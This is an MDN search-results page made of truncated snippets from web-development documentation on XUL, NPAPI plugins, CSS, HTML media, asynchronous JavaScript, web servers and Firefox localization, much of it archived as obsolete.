« previousnext » the tree view holds the data to be displayed in the tree. creating a custom view so far, we have only been using the built-in content tree view. in this section, we will look at creating a custom view. this is necessary when the page has a lot of data or that data is highly nested. for instance, 5000 rows of treeitems would load too slowly. you might also implement a custom view when you want to perform computations on the data to be displayed. since the view can store and retrieve the data in the most suitable manner for the kind of data used, the tree can be used even when there are hundreds of thousands of rows to be displayed. note: the tree-related interfaces changed in gecko 1.8. see tree widget changes for details. to implement a custom view, you w...
...he treechildren element empty. ...
...the columns are treecolumn objects. ...
...And 3 more matches
Accessibility/XUL Accessibility Reference - Archive of obsolete content
label--> </label> </button> <button id='butwrap2'> <label control="butwrap2" value="<!--this-->" /> <label control="butwrap2" value="is" /> <label control="butwrap2" value="a" /> <label control="butwrap2" value="button" /> </button> <button image="images/img.xbm" tooltiptext="<!--button text-->"/> note that in the third example, only the first label is read browser jaws 7.10 issues to use a browser element with html, the type="content" attribute should be specified. however, this attribute causes any xul loaded in the browser to have issues with jaws 7.10. we believe they are using the window class to determine that it is content rather than dialog, but does not support content mode for xul. therefore, with jaws 7.10, to use xul inside of a browser,...
...gnize grids as tables for table reading mode. groupbox <groupbox> <caption label="<!--group label-->" /> <hbox> <button label="<!--button text-->" /> </hbox> </groupbox> iframe jaws 7.10 issues testing with jaws 7.10, use of an iframe element causes many, unpredictable issues with xul inside of the iframe. okay to use html inside of iframe. see browser element for more info. image <image src="images/img.xbm" tooltiptext='<!--image label-->'/> key see keyboard shortcut tutorial keyset see keyboard shortcut tutorial listbox <label control='listid'><!--label text--></label> <listbox id="listid"> <listitem value="val" label="<!--item text-->"/> </listbox> <labe...
...rc="images/img.xbm" tooltiptext='<!--image label-->'/> key see keyboard shortcut tutorial keyset see keyboard shortcut tutorial listbox <label control='listid'><!--label text--></label> <listbox id="listid"> <listitem value="val" label="<!--item text-->"/> </listbox> <label control='listid2' value='<!--list label-->' /> <listbox rows="5" id='listid2'> <listcols> <listcol/> <listcol/> <listcol/> </listcols> <listhead> <listheader label="name" /> <listheader label="sex" /> <listheader label="color" /> </listhead> <listitem> <label value="<!--pearl-->" /> <label value="<!--female-->" /> <label value="<!--gray-->" /> </listitem> </listbox> i don't seem to be able to find a st...
...And 3 more matches
Multi-process plugin architecture - Archive of obsolete content
the calls are transferred to the plugin process via the ipdl protocol language. ...
...the calls are transferred to the plugin process via the ipdl protocol language. ...
...the calls are transferred to the plugin process via the ipdl protocol language. ...
...And 3 more matches
NPP_NewStream - Archive of obsolete content
ing parameters: instance pointer to current plug-in instance. type pointer to mime type of the stream. stream pointer to new stream. seekable boolean indicating whether the stream is seekable: true: seekable. stream supports random access through calls to npn_requestread (for example, local files or http servers that support byte-range requests). false: not seekable. the browser must copy data in the stream to the local cache to satisfy random access requests made through npn_requestread. stype out parameter. the plugin should set this value to request a mode for the stream. for more information about each of these values, see directions in this section. np_normal (default): delivers stream data to the instance in a series of calls to npp_writeready and np...
...cessible by the plug-in as needed, through calls to npn_requestread. implementation note: some plugins, notably silverlight, do not set this outparam, and rely on the outparam being initialized to a default np_normal value. returns if successful, the function should return nperr_no_error. if unsuccessful, the function should return one of the nperror error codes. this will cause the browser to destroy the stream without calling npp_destroystream. description npp_newstream notifies the plug-in when a new stream is created. the npstream* pointer is valid until the stream is destroyed. the plug-in can store plug-in-private data associated with the stream in stream->pdata. the mime type of the stream is provided by the type parameter. the data in the stream can be the file specifi...
...am is destroyed. the plug-in can store plug-in-private data associated with the stream in stream->pdata. the mime type of the stream is provided by the type parameter. the data in the stream can be the file specified in the src attribute of the embed tag, for an embedded instance, or the file itself, for a full-page instance. a plug-in can also request a stream with the function npn_geturl. the browser calls npp_destroystream when the stream completes (either successfully or abnormally). the plug-in can terminate the stream itself by calling npn_destroystream. the parameter stype defines the mode of the stream. values: np_normal (default): delivers stream data to the instance in a series of calls to npp_writeready and npp_write. the plug-in can process the data progressively as it arrives...
...And 3 more matches
Plugins - Archive of obsolete content
e are plugin features which are not available in the web platform, we encourage developers to post their use cases to mozilla.dev.platform project list, so that mozilla can prioritize web platform work to make those use cases possible. for more information about plugin roadmap, see non-archived plugin information. plugins are shared libraries that users can install to display content that the browser can't display natively. for example, the adobe reader plugin lets the user open pdf files directly inside the browser, and the quicktime and realplayer plugins are used to play special format videos in a web page. plugins are written using npapi, the cross-browser api for plugins. the main source of documentation for npapi is the gecko plugin api reference. to make your plugin scriptable from ...
...ial format videos in a web page. plugins are written using npapi, the cross-browser api for plugins. the main source of documentation for npapi is the gecko plugin api reference. to make your plugin scriptable from web pages, use npruntime. plugins can be written completely from scratch using c apis (usually in c or c++) or they may be built on a plugin framework such as firebreath, juce, or qtbrowserplugin. there are also some code generation tools that may be helpful. more information about these tools can be found on the external resources page. plugins are different from extensions, which modify or enhance the functionality of the browser itself. plugins are also different from search plugins, which plug additional search engines in the search bar. gecko plugin api reference (npap...
... this reference describes the application programming interfaces for npapi plugins and provides information about how to use these interfaces. site author guide for click-to-activate plugins these guidelines will help website authors use plugins when they are blocked by default with the firefox click-to-activate feature. ...
...And 3 more matches
Create Your Own Firefox Background Theme - Archive of obsolete content
how to create your own background theme themes are made up of a "header" graphic image file, which skins the default firefox ui background. finished your design? you can submit it right now! creating a theme header image the header image is displayed as the background of the top of the browser window, nestling in behind the toolbars, address bar, search bar and the tab strip. it will be anchored to the top-right corner of the browser window. view a sample theme header here. image requirements dimensions should be 3000px wide × 200px high png or jpg file format image must be no larger than 300 kb in file size tips subtle, soft contrast images and gradients work best; highly detailed images will compete with the browser ui. firefox may reveal more of the lower por...
...an 300 kb in file size tips subtle, soft contrast images and gradients work best; highly detailed images will compete with the browser ui. firefox may reveal more of the lower portion of the image if another toolbar or other ui element is added to the top of the window. the upper right-hand side of the image should have the most important information—as a user increases the width of the browser window, the browser reveals more of the left-hand side of the image. online image editor resources pixlr — pixlr offers professional and easy-to-use tools for creating and editing images within a browser. photoshop — tweak, rotate and touch up photos with photoshop® express, a free online photo editor. creating a theme footer image in older versions of firefox, or newer versions w...
...footer images are optional. view a sample theme footer here. ...
...And 3 more matches
Archived JavaScript Reference - Archive of obsolete content
firefox implementation. do not use it!array.observe()the array.observe() method was used for asynchronously observing changes to arrays, similar to object.observe() for objects. it provided a stream of changes in order of occurrence. it's equivalent to object.observe() invoked with the accept type list ["add", "update", "delete", "splice"]. however, this api has been deprecated and removed from browsers. you can use the more general proxy object instead.array.unobserve()the array.unobserve() method was used to remove observers set by array.observe(), but has been deprecated and removed from browsers. you can use the more general proxy object instead.arraybuffer.transfer()the static arraybuffer.transfer() method returns a new arraybuffer whose contents have been taken from the oldbuffer's data...
...ax was a javascript expression which allowed you to quickly assemble a new generator function based on an existing iterable object. however, it has been removed from the standard and the firefox implementation. do not use it!handler.enumerate()the handler.enumerate() method used to be a trap for for...in statements, but has been removed from the ecmascript standard in es2016 and is deprecated in browsers.legacy generator functionthe legacy generator function statement declares legacy generator functions with the specified parameters.legacy generator function expressionthe function keyword can be used to define a legacy generator function inside an expression. to make the function a legacy generator, the function body should contain at least one yield expression.microsoft javascript extensionsm...
... generator functionthe legacy generator function statement declares legacy generator functions with the specified parameters.legacy generator function expressionthe function keyword can be used to define a legacy generator function inside an expression. ...
...And 3 more matches
Writing JavaScript for XHTML - Archive of obsolete content
there are a number of reasons for this. partially it is because, prior to version 9, internet explorer was incapable of handling xhtml sent with the official xhtml media type at all. ...
...ching the mime type suddenly no inline script works anymore. even the plain old alert() method is gone. the code looks something like this: <script type="text/javascript"> //<!-- window.alert("hello world!"); //--> </script> solution: the cdata trick this problem usually arises, when inline scripts are included in comments. this was common practice in html, to hide the scripts from browsers not capable of js. in the age of xml comments are what they were intended: comments. before processing the file, all comments will be stripped from the document, so enclosing your script in them is like throwing your lunch in a piranha pool. moreover, there's really no point to commenting out your scripts -- no browser written in the last ten years will display your code on the page. the easy...
...he special-character problem. alternatively, the cdata section can be couched within comments so as to be able to work in either application/xhtml+xml or text/html: <script type="text/javascript"> //<![cdata[ ... //]]> </script> <!-- (for styles, it is different) --> <style type="text/css"> /*<![cdata[*/ ... /*]]>*/ </style> and if you really need compatibility with very old browsers that do not recognize the script or style tags resulting in their contents displayed on the page, you can use this: <script type="text/javascript"><!--//--><![cdata[//><!-- ... //--><!]]></script> <!-- (for styles, it is different) --> <style type="text/css"><!--/*--><![cdata[/*><!--*/ ... /*]]>*/--></style> see this document for more on the issues related to application/x...
...And 3 more matches
Archived open Web documentation - Archive of obsolete content
the documentation listed below is archived, obsolete material about open web topics. talk:background-size should not the "browser compatibility" table also list google chrome and konqueror? ...
...rchived, obsolete material about open web topics. talk:background-size should not the "browser compatibility" table also list google chrome and konqueror? ...
...bout open web topics. talk:background-size should not the "browser compatibility" table also list google chrome and konqueror? chome is not mentioned at all, but is becoming increasingly popular. konqueror is listed below the table, which seems inconsistent. znerd 04 august 2009 browser detection and cross browser support improper browser detection can lead to web maintenance nightmares. rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser web content. this article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection. ...
...And 3 more matches
Grid Lines - MDN Web Docs Glossary: Definitions of Web-related terms
fine tracks in the explicit grid using css grid layout. in the following example there is a grid with three column tracks and two row tracks. this gives us 4 column lines and 3 row lines. ...
...in a left-to-right language such as english, column line 1 will be on the left of the grid, row line 1 on the top. lines numbers respect the writing mode of the document and so in a right-to-left language for example, column line 1 will be on the right of the grid. ...
...g created a grid, you can place items onto the grid by line number. in the following example the item is positioned from column line 1 to column line 3, and from row line 1 to row line 3. ...
...And 3 more matches
User agent - MDN Web Docs Glossary: Definitions of Web-related terms
this is known as user agent spoofing. ...
...this is known as user agent spoofing. ...
...this is known as user agent spoofing. ...
...And 3 more matches
Accessible multimedia - Learn web development
uldn't be a problem, right? let's investigate. the problem with native html5 controls html5 video and audio instances even come with a set of inbuilt controls that allow you to control the media straight out of the box. for example (see native-controls.html source code and live): <audio controls> <source src="viper.mp3" type="audio/mp3"> <source src="viper.ogg" type="audio/ogg"> <p>your browser doesn't support html5 audio. here is a <a href="viper.mp3">link to the audio</a> instead.</p> </audio> <br> <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video. here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> the controls attribute provides play/pause but...
... to remedy this, we can create our own custom controls. ...
... provides play/pause buttons, seek bar, etc. — the basic controls you'd expect from a media player. it looks like so in firefox and chrome: however, there are problems with these controls: they are not keyboard accessible in most browsers, i.e. you can't tab between the controls inside the native player. opera and chrome provide this to some degree, but it still isn't ideal. different browsers give the native controls differing styling and functionality, and they aren't stylable, meaning that they can't be easily made to follow a site style guide. to remedy this, we can create our own custom controls. let's look at how. creating custom audio and video controls html5 video and audio share an api — html media element — which allows you to map custom functionality to buttons an...
...And 3 more matches
Cascade and inheritance - Learn web development
rules matter; when two rules apply that have equal specificity the one that comes last in the css is the one that will be used. in the below example, we have two rules that could apply to the h1. the h1 ends up being colored blue — these rules have an identical selector and therefore carry the same specificity, so the last one in the source order wins. specificity specificity is how the browser decides which rule applies if multiple rules have different selectors, but could still apply to the same element. it is basically a measure of how specific a selector's selection will be: an element selector is less specific — it will select all elements of that type that appear on a page — so will get a lower score. a class selector is more specific — it will select only the elements...
...s that of its parent element. effectively, this "turns on inheritance". initial sets the property value applied to a selected element to the initial value of that property. unset resets the property to its natural value, which means that if the property is naturally inherited it acts like inherit, otherwise it acts like initial. note: there is also a newer value, revert, which has limited browser support. note: see origin of css declarations in introducing the css cascade for more information on each of these and how they work. we can look at a list of links and explore how the universal values work. the live example below allows you to play with the css and see what happens when you make changes. playing with code really is the best way to get to grips with html and css. for exam...
...e document — whether by assigning css to an element or creating a class. we will now take a proper look at how the cascade defines which css rules apply when more than one thing could style an element. there are three factors to consider, listed here in increasing order of importance. later ones overrule earlier ones: source order specificity importance we will look at these to see how browsers figure out exactly what css should be applied. source order we have already seen how source order matters to the cascade. if you have more than one rule, which has exactly the same weight, then the one that comes last in the css will win. you can think of this as rules which are nearer the element itself overwriting early ones until the last one wins and gets to style the element. specifici...
...And 3 more matches
Images, media, and form elements - Learn web development
are some additional elements, such as <textarea> for multiline text input, and also elements used to contain and label parts of forms such as <fieldset> and <legend>. html5 also contains attributes that enable web developers to indicate which fields are required, and even the type of content that needs to be entered. if the user enters something unexpected, or leaves a required field blank, the browser can show an error message. different browsers are inconsistent in how much styling and customization they allow for such items. styling text input elements elements that allow for text input, such as <input type="text">, specific types such as <input type="email">, and the <textarea> element are quite easy to style and tend to behave just like other boxes on your page. the default styling of ...
...ow much styling and customization they allow for such items. styling text input elements elements that allow for text input, such as <input type="text">, specific types such as <input type="email">, and the <textarea> element are quite easy to style and tend to behave just like other boxes on your page. the default styling of these elements will differ however based on the operating system and browser that your user visits the site with. in the example below we have styled some text inputs using css — you can see that things such as borders, margins and padding all apply as you would expect. we are using attribute selectors to target the different input types. try changing how this form looks by adjusting the borders, adding background colors to the fields, and changing fonts and padding.
...t around it, but this would make it very hard to recognise and fill in. as explained in the lessons on form styling in the html part of this course, many of the more complex input types are rendered by the operating system and are inaccessible to styling. ...
...And 3 more matches
Styling tables - Learn web development
="col">no. of albums</th> <th scope="col">most famous song</th> </tr> </thead> <tbody> <tr> <th scope="row">buzzcocks</th> <td>1976</td> <td>9</td> <td>ever fallen in love (with someone you shouldn't've)</td> </tr> <tr> <th scope="row">the clash</th> <td>1976</td> <td>6</td> <td>london calling</td> </tr> ... ...
...> <tfoot> <tr> <th scope="row" colspan="2">total albums</th> <td colspan="2">77</td> </tr> </tfoot> </table> the table is nicely marked up, easily styleable, and accessible, thanks to features such as scope, <caption>, <thead>, <tbody>, etc. unfortunately, it doesn't look good when rendered on the screen (see it live at punk-bands-unstyled.html): with only the default browser styling it looks cramped, hard to read, and boring. we need to use some css to fix this up. styling our table let's work through styling our table example together. to start with, make a local copy of the sample markup, download both images (noise and leopardskin), and put the three resulting files in a working directory somewhere on your local computer. next, create a new file called sty...
...d footer for a nice bit of texture, as well as giving those elements a bright purple border. it is useful to have multiple nested elements available so you can layer styles on top of one another. yes, we could have put both the background image and the linear gradient on the <thead> and <tfoot> elements using multiple background images, but we decided to do it separately for the benefit of older browsers that don't support multiple background images or linear gradients. zebra striping we wanted to dedicate a separate section to showing you how to implement zebra stripes — alternating rows of color that make the different data rows in your table easier to parse and read. add the following css to the bottom of your style.css file: /* zebra striping */ tbody tr:nth-child(odd) { background...
...And 3 more matches
How CSS is structured - Learn web development
active editor below. read on and have fun! selectors a selector targets html to apply styles to content. we have already discovered a variety of selectors in the getting started with css tutorial. if css is not applying to content as-expected, your selector may not match the way you think it should match. each css rule starts with a selector—or a list of selectors—in order to tell the browser which element or elements the rules should apply to. all the examples below are valid selectors, or lists of selectors. h1 a:link .manythings #onething * .box p .box p:first-child h1, h2, .intro try creating some css rules that use the selectors above. add html to be styled by the selectors. if any of the syntax above is not familiar, try searching mdn. note: you will learn more about selec...
...the property and value in each pair is separated by a colon. (:) look up different values of properties listed below. write css rules that apply styling to different html elements: font-size width background-color color border important: if a property is unknown, or if a value is not valid for a given property, the declaration is processed as invalid. it is completely ignored by the browser's css engine. important: in css (and other web standards), it has been agreed that us spelling is the standard where there is language variation or uncertainty. for example, color should be spelled color, as colour will not work. functions while most values are relatively simple keywords or numeric values, there are some values which take the form of a function. an example would be the ca...
...orts a stylesheet into another css stylesheet: @import 'styles2.css'; one common @rule that you are likely to encounter is @media, which is used to create media queries. media queries use conditional logic for applying css styling. in the example below, the stylesheet defines a default pink background for the <body> element. however, a media query follows that defines a blue background if the browser viewport is wider than 30em. body { background-color: pink; } @media (min-width: 30em) { body { background-color: blue; } } you will encounter other @rules throughout these tutorials. see if you can add a media query that changes styles based on the viewport width. change the width of your browser window to see the result. shorthands some properties like font, background, paddin...
...And 3 more matches
Styling links - Learn web development
s. link states the first thing to understand is the concept of link states — different states that links can exist in, which can be styled using different pseudo-classes: link (unvisited): the default state that a link resides in, when it isn't in any other state. this can be specifically styled using the :link pseudo class. visited: a link when it has already been visited (exists in the browser's history), styled using the :visited pseudo class. hover: a link when it is being hovered over by a user's mouse pointer, styled using the :hover pseudo class. focus: a link when it has been focused (for example moved to by a keyboard user using the tab key or similar, or programmatically focused using htmlelement.focus()) — this is styled using the :focus pseudo class. active: a link whe...
...this is because users know and have come to expect this behaviour — if links were styled differently, it would confuse a lot of people. this doesn't mean that you shouldn't style links at all, just that you should not stray too far from the expected behaviour. you should at least: use underlining for links, but not for other things. if you don't want to underline links, ...
...this certainly looks different to the default styling, but it still provides a familiar enough experience for users to know what's going on: the first two rules are not that interesting to this d...
...And 3 more matches
What is a web server? - Learn web development
es, css stylesheets, and javascript files) a web server connects to the internet and supports physical data interchange with other devices connected to the web. on the software side, a web server includes several parts that control how web users access hosted files. at a minimum, this is an http server. an http server is software that understands urls (web addresses) and http (the protocol your browser uses to view webpages). an http server can be accessed through the domain names of the websites it stores, and it delivers the content of these hosted websites to the end user's device. at the most basic level, whenever a browser needs a file that is hosted on a web server, the browser requests the file via http. when the request reaches the correct (hardware) web server, the (software) http ...
...f the websites it stores, and it delivers the content of these hosted websites to the end user's device. at the most basic level, whenever a browser needs a file that is hosted on a web server, the browser requests the file via http. when the request reaches the correct (hardware) web server, the (software) http server accepts the request, finds the requested document, and sends it back to the browser, also through http. (if the server doesn't find the requested document, it returns a 404 response instead.) to publish a website, you need either a static or a dynamic web server. a static web server, or stack, consists of a computer (hardware) with an http server (software). we call it "static" because the server sends its hosted files as-is to your browser. a dynamic web server consists ...
...sites like mdn or wikipedia have thousands of webpages. ...
...And 3 more matches
How the Web works - Learn web development
previous overview: getting started with the web how the web works provides a simplified view of what happens when you view a webpage in a web browser on your computer or phone. this theory is not essential to writing web code in the short term, but before long you'll really start to benefit from understanding what's happening in the background. clients and servers computers connected to the web are called clients and servers. a simplified diagram of how they interact might look like this: clients are the typical web user's internet-connected devices (for example, your computer connected to your wi-fi, or your phone connected to your mobile network) and web-accessing software available on those devices (usually a web browser like firefox or chrome). servers are computers that...
... the other parts of the toolbox the client and server we've described above don't tell the whole story. there are many other parts involved, and we'll describe them below. for now, let's imagine that the web is a road. ...
...col and internet protocol are communication protocols that define how data should travel across the internet. this is like the transport mechanisms that let you place an order, go to the shop, and buy your goods. in our example, this is like a car or a bike (or however else you might get around). dns: domain name servers are like an address book for websites. when you type a web address in your browser, the browser looks at the dns to find the website's real address before it can retrieve the website. the browser needs to find out which server the website lives on, so it can send http messages to the right place (see below). this is like looking up the address of the shop so you can access it. http: hypertext transfer protocol is an application protocol that defines a language for clients an...
...And 3 more matches
Introducing asynchronous JavaScript - Learn web development
chronous javascript to allow us to understand what asynchronous javascript is, we ought to start off by making sure we understand what synchronous javascript is. this section recaps some of the information we saw in the previous article. a lot of the functionality we have looked at in previous learning area modules is synchronous — you run some code, and the result is returned as soon as the browser can do so. let's look at a simple example (see it live here, and see the source): const btn = document.queryselector('button'); btn.addeventlistener('click', () => { alert('you clicked me!'); let pelem = document.createelement('p'); pelem.textcontent = 'this is a newly-added paragraph.'; document.body.appendchild(pelem); }); in this block, the lines are executed one after the other:...
...note: you can find the finished version on github (see the source here, and also see it running live). here we see fetch() taking a single parameter — the url of a resource you want to fetch from the network — and returning a promise. the promise is an object representing the completion or failure of the async operation. it represents an intermediate state, as it were. in essence, it's the browser's way of saying "i promise to get back to you with the answer as soon as i can," hence the name "promise." this concept can take practice to get used to; it feels a little like schrödinger's cat in action. neither of the possible outcomes have happened yet, so the fetch operation is currently waiting on the result of the browser trying to complete the operation at some point in the future. we...
... it will then move to the next line and begin executing the fetch() block but, because fetch() executes asynchronously without blocking, code execution continues after the promise-related code, thereby reaching the final console.log() statement (all done!) and outp...
...And 3 more matches
Looping code - Learn web development
now, but let's look at the part of the code that actually draws the 100 circles: for (let i = 0; i < 100; i++) { ctx.beginpath(); ctx.fillstyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(width), random(height), random(50), 0, 2 * math.pi); ctx.fill(); } random(x), defined earlier in the code, returns a whole number between 0 and x-1. width and height are the width and height of the inner browser window. you should get the basic idea — we are using a loop to run 100 iterations of this code, each one of which draws a circle in a random position on the page. the amount of code needed would be the same whether we were drawing 100 circles, 1000, or 10,000. only one number has to change. if we weren't using a loop here, we'd have to repeat the following code for every circle we wanted ...
...= 0, therefore cats[0] + ', ' (which is equal to bill, ) will be concatenated onto info. during the second run, i = 1, so cats[1] + ', ' (which is equal to jeff, ) will be concatenated onto info. and so on. after each time the loop has run, 1 will be added to i (i++), then the process will start again. when i becomes equal to cats.length (in this case, 5), the loop will stop, and the browser will move on to the next bit of code below the loop. note: we have made the condition i < cats.length, not i <= cats.length, because computers count from 0, not 1 — we are starting i at 0, and going up to i = 4 (the index of the last array item). cats.length returns 5, as there are 5 items in the array, but we don't want to get up to i = 5, as that would return undefined for the last item ...
....'; } else { info += cats[i] + ', '; } } note: you can find this example code on github too (also see it running live). important: with for — as with all loops — you must make sure that the initializer is incremented or, depending on the case, decremented, so that it eventually reaches the point where the condition is not true. if not, the loop will go on forever, and either the browser will force it to stop, or it will crash. this is called an infinite loop. exiting loops with break if you want to exit a loop before all the iterations have been completed, you can use the break statement. we already met this in the previous article when we looked at switch statements — when a case is met in a switch statement that matches the input expression, the break statement immediat...
...And 3 more matches
CSS performance optimization - Learn web development
previous overview: performance next painting an unstyled page, and then repainting it once styles are parsed would be bad user experience. for this reason, css is render blocking, unless the browser knows the css is not currently needed. the browser can paint the page once it has downloaded the css and built the css object model. browsers follow a specific rendering path: paint only occurs after layout, which occurs after the render tree is created, which in turn requires both the dom and the cssom trees. to optimize the cssom construction, remove unnecessary styles, minify, compress and cache it, and split css not required at page load into additional files to reduce css render blocking. optimizing for render blocking css can scope styles to particular conditions with medi...
...ees. to optimize the cssom construction, remove unnecessary styles, minify, compress and cache it, and split css not required at page load into additional files to reduce css render blocking. optimizing for render blocking css can scope styles to particular conditions with media queries. media queries are important for a responsive web design and help us optimize a critical rendering path. the browser blocks rendering until it parses all of these styles but will not block rendering on styles it knows it will not use, such the print stylesheets. by splitting the css into multiple files based on media queries, you can prevent render blocking during download of unused css. to create a non-blocking css link, move the not-immediately used styles, such as print styles, into separate file, add a <l...
...s, into separate file, add a <link> to the html mark up, and add a media query, in this case stating it's a print stylesheet. <link rel="stylesheet" href="styles.css"> <!-- blocking --> <link rel="stylesheet" href="print.css" media="print"> <!-- not blocking --> <link rel="stylesheet" href="mobile.css" media="screen and (max-width: 480px)"> <!-- not blocking on large screens --> by default the browser assumes that each specified style sheet is render blocking. tell the browser when the style sheet should be applied by adding a media attribute with the media query. when the browser sees a style sheet it knows that it only needs to apply it for a specific scenario, it still downloads the stylesheet, but doesn't render block. by separating out the css into multiple files, the main render-blocki...
...And 3 more matches
Multimedia: video - Learn web development
icle looks at optimizing video to improve web performance. prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. objective: to learn about the various video formats, their impact on performance, and how to reduce video impact on overall page load time while serving the smallest video file size based on each browsers file type support. why optimize your multimedia? for the average website, 25% of bandwidth comes from video. optimizing video has the potential for very large bandwidth savings that translate into better website performance. optimizing video delivery it's best to compress all video, optimize <source> order, set autoplay, remove audio from muted video, optimize video preload, and cons...
...the goal is to offer smaller versions ahead of larger versions. with the smallest version, make sure that the most compressed video still looks good. there are some compression algorithms that can make video look (bad) like an animated gif. while a 128 kb video may seem like it could provide a better user experience than a 10 mb download, a grainy gif-...
...head of larger versions. with the smallest version, make sure that the most compressed video still looks good. there are some compression algorithms that can make video look (bad) like an animated gif. while a 128 kb video may seem like it could provide a better user experience than a 10 mb download, a grainy gif-like video may reflect poorly on the brand or project. see caniuse.com for current browser support of video and other media types. video autoplay to ensure that a looping background video autoplays, you must add several attributes to the video tag: autoplay, muted, and playsinline. <video autoplay="" loop="" muted="true" playsinline="" src="backgroundvideo.mp4"> while the loop and autoplay make sense for a looping and autoplaying video, the muted attribute is required for autop...
...And 3 more matches
Introduction to the server side - Learn web development
credit card details to streamline subsequent payments. it can even allow interaction with users of the site, sending notifications and updates via email or through other channels. all of these capabilities enable much deeper engagement with users. in the modern world of web development, learning about server-side development is highly recommended. what is server-side website programming? web browsers communicate with web servers using the hypertext transfer protocol (http). when you click a link on a web page, submit a form, or run a search, an http request is sent from your browser to the target server. the request includes a url identifying the affected resource, a method that defines the required action (for example to get, delete, or post the resource), and may include additional info...
...ected resource, a method that defines the required action (for example to get, delete, or post the resource), and may include additional information encoded in url parameters (the field-value pairs sent via a query string), as post data (data sent by the http post method), or in associated cookies. web servers wait for client request messages, process them when they arrive, and reply to the web browser with an http response message. the response contains a status line indicating whether or not the request succeeded (e.g. "http/1.1 200 ok" for success). the body of a successful response to a request would contain the requested resource (e.g. a new html page, or an image, etc...), which could then be displayed by the web browser. static sites the diagram below shows a basic web server archi...
... the server retrieves the requested document from its file system and returns an http response containing the document and a success status (usually 200 ok). ...
...And 3 more matches
Gecko info for Windows accessibility vendors
t, isimpledomnode and isimpledomtext). if there is no msaa node for a dom node, or vice-versa, queryservice() will return null. anything that is focusable or conveys important information about the structure of the document is exposed in the msaa tree of iaccessibles. windows applications based on the gecko layout engine gecko is a rendering engine that mozilla, netscape and other new browsers use. gecko can render a variety of content, not just html and supports key web standards such as cascading style sheets, javascript and the w3c dom. gecko also handles the users keystrokes and mouse clicks. gecko is the core architecture that we are adding accessibility to, in order to support basic accessibility in all applications that are based on it. embedded clients (support msaa) ...
...ly. they typically use standard windows controls for their user interface -- the area outside of the client content window, plus the context menu. mfcembed testing client: this is a very simple package, great for testing basic html accessibility with your products and the gecko rendering engine. k-meleon: a light, ultra-fast and more advanced (fully configurable) gecko-based web browser available on the windows platform xul-based clients (support msaa) xul-based clients make full use of the gecko architecture, not only for html content, as well as for menus, dialogs and the entire user interface via an xml language called xul (extensible user-interface language). none of the user interface contains standard windows controls -- not even the menus! this is done ...
...iaccessible objects, although we do support event_scrollingend and isimpledomnode::scrollto(), explained below. we do not currently support state_moveable, state_sizeable or state_marqueed. we do not currently support role_system_row, although internet explorer doesn't either, and the reason seems apparent. it is not obvious where the role_system_row should exist in the tree when the html rowspan attribute is used to combine to cells in different rows. there are currently two techniques for parsing tables: 1) use acclocation() to get the coordinates for each cell and feed that into an algorithm that builds up your own table data structure, or 2) use isimpledomnode and parse the table see below for the complete list of roles and notes about what we support intentional difference...
...And 3 more matches
PopupNotifications.jsm
ns.jsm"); once you've imported the module, you can then use the popupnotifications object it exports; this object provides methods for creating and displaying popup notification panels. note: this code module is imported by firefox chrome windows, so you don't have to do it yourself in most extensions. method overview void locationchange(); notification getnotification(id, browser); void remove(notification); notification show(browser, id, message, anchorid, mainaction, secondaryactions, options); properties attribute type description ispanelopen boolean returns true if the notification panel is currently visible, false if it is not. methods locationchange() the consumer can call this method to let the popu...
... notification show(browser, id, message, anchorid, mainaction, secondaryactions, options); properties attribute type description ispanelopen boolean returns true if the notification panel is currently visible, false if it is not. methods locationchange() the consumer can call this method to let the popup notification module know that the current browser's location has changed. this lets the notification service update the active notifications as appropriate. note: you shouldn't need to call this when using the popupnotifications object in firefox windows; firefox code takes care of this automatically. void locationchange(); parameters none. getnotification() retrieve a notification object associated with the browser/id pair. notificati...
...ification service update the active notifications as appropriate. note: you shouldn't need to call this when using the popupnotifications object in firefox windows; firefox code takes care of this automatically. void locationchange(); parameters none. getnotification() retrieve a notification object associated with the browser/id pair. notification getnotification( string id xulelement browser ); parameters id the notification id to search for. browser the xul <xul:browser> element whose notifications should be searched. if null, the currently selected <xul:browser>'s notifications will be searched. return value the corresponding notification object, or null if no such notification exists. remove() removes the specified notification. void remove( notification notifica...
...And 3 more matches
Localizing with Koala
e to a bug in koala (bug 21930), it is recommended that you don't choose a path that contains spaces (like c:\documents and settings\user\...). click "open" to create the project. koala will check for mercurial. make sure that your mercurial installation is in your system's $path. setup wizard will open. configure the application choose "firefox" as the application. version: 3.6. appname: browser. included locale: en-us (this is the original locale you're translating from). leave location empty for now. check the "mercurial" checkbox. note that you don't have to edit the location field, it automatically fills in when you check the "mercurial" checkbox: "c:\mozilla\l10n\application\firefox\3.6". url: http://hg.mozilla.org/releases/mozilla-1.9.2. branch: default. revision: leave empty. ...
...o "koala file view" in the sidebar (choose it from the list that appears when you click on the arrow pointing down situated next to the sidebar's [x] button). you should now see the results of the comparison in the "koala file view" sidebar. translating files let's translate the searchbar-related strings mentioned in the beginning of this document. they can be found in two files, inside the browser/chrome/browser directory: searchbar.dtd, search.properties. the difference between dtd and .properties files in the moment when they are used by the application. dtd's files are read by the xml parser, which goes through the xul files used in mozilla to create the interface when it launches. the .properties files are used in the javascript code while the application is already running. that's...
...n c:\mozilla\l10n\locale\x-testing\3.6 which is where the local mercurial repository was created (see creating a new project section), you should be able to successfully issue "hg cmd" commands in that directory (where "cmd" might be "status", "log", "commit" etc.). for example, try issuing "hg status" inside c:\mozilla\l10n\locale\x-testing\3.6: c:\mozilla\l10n\locale\x-testing\3.6> hg status ? browser\chrome\browser\search.properties ? browser\chrome\browser\searchbar.dtd the question marks ("?") in front of the file names indicate that the files are not tracked by mercurial in this repository (yet). to start tracking them, you will need to "hg add" them. this can be done from koala. once you "hg add" every new file in the repository that you want to track in mercurial, you will need to "hg...
...And 3 more matches
Scroll-linked effects
